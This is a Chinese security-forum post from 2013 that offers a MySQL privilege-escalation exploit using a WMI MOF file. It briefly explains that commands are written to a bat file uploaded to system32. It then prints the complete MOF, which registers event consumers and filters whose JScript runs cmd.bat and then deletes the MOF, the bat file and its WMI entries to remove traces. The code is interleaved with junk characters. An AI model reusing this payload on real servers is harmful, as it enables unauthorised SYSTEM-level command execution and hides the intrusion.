找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2042|回复: 0
打印 上一主题 下一主题

Mysql 提权即时无错Mof exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-14 00:05:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这个sql提权MOF需要运行 system下的文件,不能定义路径。
( W% R4 h# O4 X( @0 z需要将要运行的命令写入到bat上传到system32目录,然后执行。
+ b7 `" }+ l2 j( j/ }
6 O( b8 P  X- F7 {$ O9 V这个sql提权MOF需要运行 system下的文件,不能定义路径。
( C/ k8 v" X0 L; J需要将要运行的命令写入到bat上传到system32目录,然后执行。' ]* K( P7 m2 g% F5 g/ O0 o
1 R1 G1 K! D% W, M; O
#pragma
" o8 ?. m% x6 X# k                        namespace("\\\\.\\root\\cimv2")
& ~* {: P7 L7 t; t                        class+ u$ J' h# I% d& l- ~
                        MyClass547  X; Y/ S" w* X" c% \
                        {           [key]
) `  q) ~0 I% e                        string( t5 p" M! P. I  ?! j2 k
                        Name;$ a8 w; m: k$ `( {, i9 o2 i; j
                        };7 \, c) \! K1 y4 ?
                        class
( l0 L9 p9 M9 @! ~) k; R4 m+ U4 J% K+ e                        ActiveScriptEventConsumer
1 f8 R2 t/ c. g) o9 k- d                        : __EventConsumer {          [key]
9 {: t# s# M0 o# \1 W                        string
# u' |1 S7 p4 R+ e                        Name;           [not_null]
" X% l, S7 _8 K7 T& |4 t9 t& O                        string3 x" T7 c( l* w) [, u0 Q5 Y3 u3 v
                        ScriptingEngine;           string! r$ s; c5 l, n) ^- Y+ C
                        ScriptFileName;           [template]% J! [: o  P2 e1 U' i, W" T
                        string7 @) n5 o7 ]" r2 s$ A
                        ScriptText;         uint32 KillTimeout;
4 ~. `. l! B2 H                        }; instance of __Win32Provider as $P {  r. e( r, j. L3 p6 T
                        Name
! V6 R& A3 E8 K7 ^3 S) N9 c                        =3 j! Y- N+ V6 e" ]; y
                        "ActiveScriptEventConsumer";     CLSID =
5 S: \* _: Y0 W  f. x# C$ t2 I                        "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";2 i  t% K$ ?" v6 M- P8 e: [
                        PerUserInitialization
+ E! ^- g5 ]* n6 ?                        = TRUE;
+ {4 h+ T% a6 \* n# b6 Z: _# z                        }; instance of __EventConsumerProviderRegistration {         Provider* F$ k8 t4 [# ?! \4 T
                        = $P;         ConsumerClassNames
  a; ?8 }$ B# |' ^3 a& o; x                        =
+ M6 y& Y8 ~' M3 [0 [; G                        {"ActiveScriptEventConsumer"};
4 G. F. S6 F$ F; o, d! Z: K* p/ F                        };
2 ?3 B1 w4 Q/ E$ J                        Instance of ActiveScriptEventConsumer
' o+ b& i# \7 P  J! ]9 X+ R                        as $cons {         Name
* D' I! x% T( H: I; @- o; q                        =8 O+ b' S4 ?$ k6 ~" F; d
                        "ASEC";         ScriptingEngine
* U! J+ d3 X; e% r3 j, Y                        =# R5 T. {& @& I$ E* M
                        "JScript";         ScriptText9 l3 ?8 s! b! f. a
                        =
0 X& ]( C, H5 Q% r! m( q                        "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};";          };2 j8 f' J: o- n
                        Instance of ActiveScriptEventConsumer
9 v( X& ?/ z3 |" N8 i0 D                        as $cons2 {         Name
- R( q# A- ?% K% Y                        =" M  l9 j/ o0 L" k, ?, _4 P7 B
                        "qndASEC";         ScriptingEngine
% I0 \* Y9 ^1 ?. a+ I- n5 P                        =
( G* r' a$ o: g( R6 k                        "JScript";         ScriptText. D& n; K5 k5 Y: a. ]
                        =1 J) g, V% q, G/ S" q
                        "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";' K6 [; d' H! H% `
                        }; instance of __EventFilter as $Filt {         Name# J- A8 }: O; c. w1 t" H
                        =
5 ]$ x: G& a3 r& z' M  w                        "instfilt";         Query
6 T4 r+ F' M8 B- b" Z$ d  \6 u                        =
; b# o; ^- {$ Z7 t$ I8 m5 n                        "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\"";         QueryLanguage3 u. a( ]4 B( U& v% C
                        =
9 y: t1 L6 Q7 M" M! J! n                        "WQL";         }; instance of __EventFilter as $Filt2 {         Name0 M( v5 i9 h( f
                        =
: C- c( T0 R5 V                        "qndfilt";         Query
/ a9 e% W4 q: N7 d                        =
# n. {. f% O/ B/ g' L- ]                        "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\"";         QueryLanguage4 L! j# H4 E0 l  f9 [. Y9 @
                        =
+ b/ k; P+ N' V( n# ?: C                        "WQL";          }; instance of __FilterToConsumerBinding as $bind {         Consumer2 c: N3 U2 G" M% [7 Z, X
                        = $cons;         Filter
  v% X1 l* a! _; H; t                        = $Filt;
9 _& N& p* A& [  B/ p( e                        }; instance of __FilterToConsumerBinding as $bind2 {         Consumer
* j' ?) o0 o6 U( j6 j$ H                        = $cons2;         Filter
0 m# n. t: m; e) S                        = $Filt2;. H" Y: {0 l% c8 n7 Q8 j0 e
                        }; instance of MyClass547
9 G2 L8 M' |  C  T1 h                        as $MyClass {         Name
; f, t3 h' f8 H. u                        =' t" ?7 i. b; n) n. x
                        "ClassConsumer";, g2 F' X) Q, b0 j
                        };
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表